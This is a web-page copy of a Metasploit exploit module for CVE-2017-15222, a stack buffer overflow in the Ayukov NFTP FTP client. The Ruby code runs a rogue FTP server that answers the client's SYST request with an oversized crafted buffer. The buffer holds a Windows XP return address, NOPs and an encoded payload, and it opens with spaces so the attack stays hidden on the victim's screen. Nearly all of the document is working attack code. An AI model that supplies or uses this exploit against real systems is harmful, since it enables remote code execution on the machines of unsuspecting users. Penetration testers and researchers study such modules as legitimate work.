Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ftp/ayukov_nftp.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::TcpServer910def initialize(info = {})11super(update_info(info,12'Name' => 'Ayukov NFTP FTP Client Buffer Overflow',13'Description' => %q{14This module exploits a stack-based buffer overflow vulnerability against Ayukov NFTPD FTP15Client 2.0 and earlier. By responding with a long string of data for the SYST request, it16is possible to cause a denail-of-service condition on the FTP client, or arbitrary remote17code exeuction under the context of the user if successfully exploited.18},19'Author' =>20[21'Berk Cem Goksel', # Original exploit author22'Daniel Teixeira', # MSF module author23'sinn3r' # RCA, improved module reliability and user exp24],25'License' => MSF_LICENSE,26'References' =>27[28[ 'CVE', '2017-15222'],29[ 'EDB', '43025' ],30],31'Payload' =>32{33'BadChars' => "\x00\x01\x0a\x10\x0d",34'StackAdjustment' => -350035},36'Platform' => 'win',37'Targets' =>38[39[ 'Windows XP Pro SP3 English', { 'Ret' => 0x77f31d2f } ], # GDI32.dll v5.1.2600.551240],41'Privileged' => false,42'DefaultOptions' =>43{44'SRVHOST' => '0.0.0.0',45},46'DisclosureDate' => '2017-10-21',47'DefaultTarget' => 0))4849register_options(50[51OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),52])53end5455def exploit56srv_ip_for_client = datastore['SRVHOST']57if srv_ip_for_client == '0.0.0.0'58if datastore['LHOST']59srv_ip_for_client = datastore['LHOST']60else61srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')62end63end6465srv_port = datastore['SRVPORT']6667print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")68super69end7071def on_client_connect(client)72return if ((p = regenerate_payload(client)) == nil)73print_status("#{client.peerhost} - connected")7475# Let the client log in76client.get_once7778print_status("#{client.peerhost} - sending 331 OK")79user = "331 OK.\r\n"80client.put(user)8182client.get_once83print_status("#{client.peerhost} - sending 230 OK")84pass = "230 OK.\r\n"85client.put(pass)8687# It is important to use 0x20 (space) as the first chunk of the buffer, because this chunk88# is visible from the user's command prompt, which would make the buffer overflow attack too89# obvious.90sploit = "\x20"*41169192sploit << [target.ret].pack('V')93sploit << make_nops(10)94sploit << payload.encoded95sploit << Rex::Text.rand_text(15000 - 4116 - 4 - 16 - payload.encoded.length, payload_badchars)96sploit << "\r\n"9798print_status("#{client.peerhost} - sending the malicious response")99client.put(sploit)100101client.get_once102pwd = "257\r\n"103client.put(pwd)104client.get_once105106end107end108109110